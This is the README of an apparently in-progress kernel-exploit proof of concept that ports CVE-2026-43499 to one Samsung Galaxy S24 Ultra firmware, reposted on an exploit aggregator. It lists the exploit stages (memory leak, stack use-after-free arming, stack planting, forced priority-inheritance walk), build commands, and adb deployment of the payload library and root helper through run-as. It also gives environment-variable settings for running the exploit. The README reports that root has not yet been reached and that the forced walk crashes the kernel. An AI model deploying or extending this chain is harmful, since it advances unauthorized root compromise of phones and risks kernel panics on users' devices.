Share
## https://sploitus.com/exploit?id=72950886-3D20-5B23-AB16-DE634655AC76
# CVE-2026-43499 PoC for Galaxy S24 Ultra (SM-S928U1)

Device-specific research port of CVE-2026-43499 for the US Samsung Galaxy
S24 Ultra on firmware **S928USQS6DZF2** (app-domain / production path).

This repository is the S24U counterpart of
[CVE-2026-43499-S25U](https://github.com/BuSung-dev/CVE-2026-43499-S25U). It
captures the **current incomplete** progress: control plane and residual stack
UAF arming are in place; a clean gate write (`hits>0`) is **not** yet achieved.

## Supported target

```text
Model:       SM-S928U1
Codename:    e3q
Android:     14 / BP4A.251205.006 (display family)
Build / AP:  S928U1UES6DZF2 / S928USQS6DZF2
Fingerprint: samsung/e3qsqw/e3q:14/UP1A.231005.007/S928USQS6DZF2:user/release-keys
Kernel:      6.1.145-android14-11-33419968-abS928USQS6DZF2
Architecture: arm64 / 4K pages
```

Offsets and layouts apply only to this firmware. Do not transfer constants
between builds without evidence.

## Status (honest)

| Stage | Status |
| --- | --- |
| KernelSnitch mm leak / page prepare | Working on production |
| Bank reclaim + MSG_PEEK (owner=1) | Working |
| Classic EDEADLK residual stack UAF arm | Working |
| Stack plant (nfds โ‰ค 320, residual base shift=2) | Working |
| Match early-exit @ prio **120** (not 139) | Working |
| Soft write geometry under early-exit | Planted safely; no walk |
| REPLANT + `walk_nice` forced `adjust_pi` walk | **Proven; always KP so far** |
| Gate oracle `hits>0` | **Open** |
| Pipe phys-rw / Android root / KernelSU | **Not reached** |

**Blocker:** walk-safe residual geometry. True `RB_EMPTY` plant needs residual
kernel VA (`APP_STAMP_RESIDUAL_ADDR` / `APP_STAMP_OVERLAY_BASE`). Forged trees
and KEEP overlays (which zero under `FD_ZERO`) panic on forced walk. See
[docs/PROGRESS.md](docs/PROGRESS.md).

## Reference

- IonStack / CVE-2026-43499 lineage (NebuSec CyberMeowfia and related ports)
- S25U standalone PoC: [BuSung-dev/CVE-2026-43499-S25U](https://github.com/BuSung-dev/CVE-2026-43499-S25U)
- App-domain wiring derived from Root-My-Galaxy-Payloads research branch
  `agent/s928u-bp4a-251205-006` (E3Q DZF2)

Apache License 2.0: [LICENSE](LICENSE).

## What this port contains

- Target profile `e3q-S928USQS6DZF2` (physical P0 oracle, bank layout, pipe
  geometry for DZF2).
- **App-domain** payload (`cve-2026-43499-app.so`) with `slide_app.c`:
  residual stamp plants, soft_match, REPLANT walk, walk_nice, NO_PLANT,
  EMPTY plant hooks, bank peek, drain wiring.
- Root helper with `O_APPEND` log open (avoids parent/child log clobber).
- Optional standalone preload binary (tracefs path; not the primary S24U app
  research path).

## Build

```sh
export ANDROID_NDK_HOME=/path/to/ndk   # e.g. r28 / API 34 clang
make -j$(nproc)
# or:
make app API=34
```

Outputs:

```text
build/e3q-S928USQS6DZF2/cve-2026-43499-app.so
build/e3q-S928USQS6DZF2/cve-2026-43499-root
build/e3q-S928USQS6DZF2/cve-2026-43499          # optional standalone
```

## Deploy (app-domain research)

Windows ADB (or host adb) against serial `R5CXB20H9FD` (example research unit):

```sh
# Prefer the rebuilt helper (O_APPEND logs), not only the APK copy.
adb push build/e3q-S928USQS6DZF2/cve-2026-43499-app.so /data/local/tmp/
adb push build/e3q-S928USQS6DZF2/cve-2026-43499-root /data/local/tmp/

adb shell "run-as dev.busung.s25uroot sh -c '
  mkdir -p files/payload-overrides/e3q-S928USQS6DZF2
  cp /data/local/tmp/cve-2026-43499-app.so \
     files/payload-overrides/e3q-S928USQS6DZF2/
  cp /data/local/tmp/cve-2026-43499-root files/
  chmod 700 files/cve-2026-43499-root \
    files/payload-overrides/e3q-S928USQS6DZF2/cve-2026-43499-app.so
'"
```

### Safe baseline (survives; hits=0)

```sh
export APP_STACK_UAF_STAMP=1
export APP_STAMP_PLANT=soft
export APP_STAMP_SOFT_MATCH=1
export APP_STAMP_FIXED_SHIFT=2
export APP_BANK_VALID_ROOT=1
export APP_STAMP_STATUS_PATH=/data/user/0/dev.busung.s25uroot/files/stamp_status_last.txt
# run via helper --run-payload ... (see docs/PROGRESS.md)
```

### Forced walk (research only; currently KP)

```sh
# After soft_match plant: change residual prio then force task nice change.
export APP_STAMP_REPLANT_WALK=1
export APP_STAMP_WALK_PRIO=100
export APP_STAMP_WALK_NICE=18   # must differ from first nice (default 19)
# Prefer EMPTY bank for some paths; still KP without residual kVA EMPTY plant
```

Do **not** re-scan plant shifts 0โ€“4; base **2** is established.

## Documentation

| Doc | Content |
| --- | --- |
| [docs/PROGRESS.md](docs/PROGRESS.md) | Milestone matrix, OBS/SRC claims, leave-off |
| [docs/ENV_REFERENCE.md](docs/ENV_REFERENCE.md) | Environment variables for stamp/bank paths |
| [docs/RUN_HISTORY.md](docs/RUN_HISTORY.md) | Condensed device-run history (RUN047โ€“062) |

## Safety and legal

Use only on devices you own or are explicitly authorized to test. This tree is
research software for a locked production phone path; it is **not** a finished
root or KernelSU installer.

## KernelSU

KernelSU integration is **out of scope until** a reliable pipe/phys write and
root path exist. Do not treat this repo as KSU-ready.